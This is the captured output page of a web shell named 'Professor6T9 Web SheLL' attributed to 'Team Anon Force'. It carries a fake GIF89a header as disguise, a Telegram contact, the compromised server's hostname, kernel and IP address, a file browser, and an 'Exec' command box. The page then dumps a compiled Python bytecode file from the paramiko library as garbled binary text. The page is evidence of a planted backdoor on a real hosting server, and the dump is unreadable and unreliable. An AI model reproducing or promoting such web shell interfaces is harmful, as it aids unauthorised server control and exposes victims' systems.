GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux das102.truehost.cloud 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
156.232.88.2
/
opt
/
alt
/
python38
/
lib
/
python3.8
/
site-packages
/
paramiko
/
__pycache__
[ HOME ]
Exec
Submit
sftp_handle.cpython-38.pyc
U rX�f � @ sH d Z ddlZddlmZmZ ddlmZ G dd� de�Zddlm Z dS )z7 Abstraction of an SFTP file handle (for server mode). � N)�SFTP_OP_UNSUPPORTED�SFTP_OK)�ClosingContextManagerc @ sb e Zd ZdZddd�Zdd� Zdd� Zd d � Zdd� Zd d� Z dd� Z dd� Zdd� Zdd� Z dS )� SFTPHandlea� Abstract object representing a handle to an open file (or folder) in an SFTP server implementation. Each handle has a string representation used by the client to refer to the underlying file. Server implementations can (and should) subclass SFTPHandle to implement features of a file handle, like `stat` or `chattr`. Instances of this class may be used as context managers. r c C s || _ d| _i | _d| _dS )a" Create a new file handle representing a local file being served over SFTP. If ``flags`` is passed in, it's used to determine if the file is open in append mode. :param int flags: optional flags as passed to `.SFTPServerInterface.open` N)�_SFTPHandle__flags�_SFTPHandle__name�_SFTPHandle__files�_SFTPHandle__tell)�self�flags� r �E/opt/alt/python38/lib/python3.8/site-packages/paramiko/sftp_handle.py�__init__( s zSFTPHandle.__init__c C s<